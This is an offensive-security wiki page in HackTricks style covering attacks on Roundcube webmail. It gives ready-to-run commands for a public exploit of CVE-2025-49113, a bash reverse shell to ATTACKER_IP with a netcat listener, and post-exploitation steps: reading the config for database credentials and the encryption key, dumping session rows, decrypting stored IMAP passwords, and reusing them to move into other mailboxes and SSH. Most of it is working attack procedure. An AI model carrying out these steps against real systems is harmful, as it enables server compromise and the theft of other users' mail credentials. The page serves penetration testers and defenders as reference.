// HackTricks · Network Services

Roundcube

Roundcube

Overview

Roundcube is a PHP webmail client commonly exposed on HTTP(S) vhosts (e.g., mail.example.tld). Useful fingerprints:

  • HTML source often leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
  • Default app path in containers/VMs: /var/www/html/roundcube
  • Main config: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

Affected versions (per vendor/NVD):[1][2]

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Bug summary

  • The _from parameter in program/actions/settings/upload.php is not validated, enabling injection of attacker‑controlled data that Roundcube later unserializes, leading to gadget chain execution and remote code execution in the web context (post‑auth).[3]

Quick exploitation

  • Requirements: valid Roundcube credentials and a reachable UI URL (e.g., http://mail.target.tld)
  • Public PoC automates session handling, gadget crafting and upload flow[4]
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
  "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Notes

  • Output is often blind; use sleep N to validate RCE
  • The resulting process inherits the account and confinement of the PHP/web worker; determine the actual identity rather than assuming www-data. Container indicators such as /.dockerenv and private bridge routes may help characterize the environment but are not universal.

Post‑exploitation: recover IMAP passwords from Roundcube sessions

Roundcube stores the current user’s IMAP password as an encrypted value in its session. With both session-backend access and the server-side des_key/cipher configuration, an assessor can decrypt active-session credentials. The default cipher is historically DES-EDE3-CBC, but cipher_method is configurable (for example, AES-256-CBC), so do not assume every installation uses 3DES.[6][7]

  1. Read the DB DSN, encryption key, and cipher configuration

config/config.inc.php typically contains:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Connect to DB and dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

The session.vars field contains serialized session state. Locate the encrypted password value (commonly the _password session key) and pass that ciphertext—not the entire serialized vars value—to the matching Roundcube decrypt routine.

  1. Locate the password field

A quick first step is to inspect the serialized field for the password key. Exact serialization depends on the Roundcube/PHP session handler:

printf '%s' 'SESSION_VARS_VALUE' | tr ';' '\n' | grep -i password
  1. Decrypt using Roundcube’s helper

Roundcube ships a CLI that uses the same rcmail->decrypt() logic and the configured des_key:[5]

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Manual decryption (optional; default 3DES example)
  • Ciphertext format: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, key length 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Common locations

  • DB table: session (users table maps login names to IDs)
  • Config path: /var/www/html/roundcube/config/config.inc.php

Operational use

  • Older session rows often contain prior users’ IMAP passwords; decrypt multiple entries to laterally move into other mailboxes
  • Try recovered credentials against SSH or other services if credential reuse is suspected

References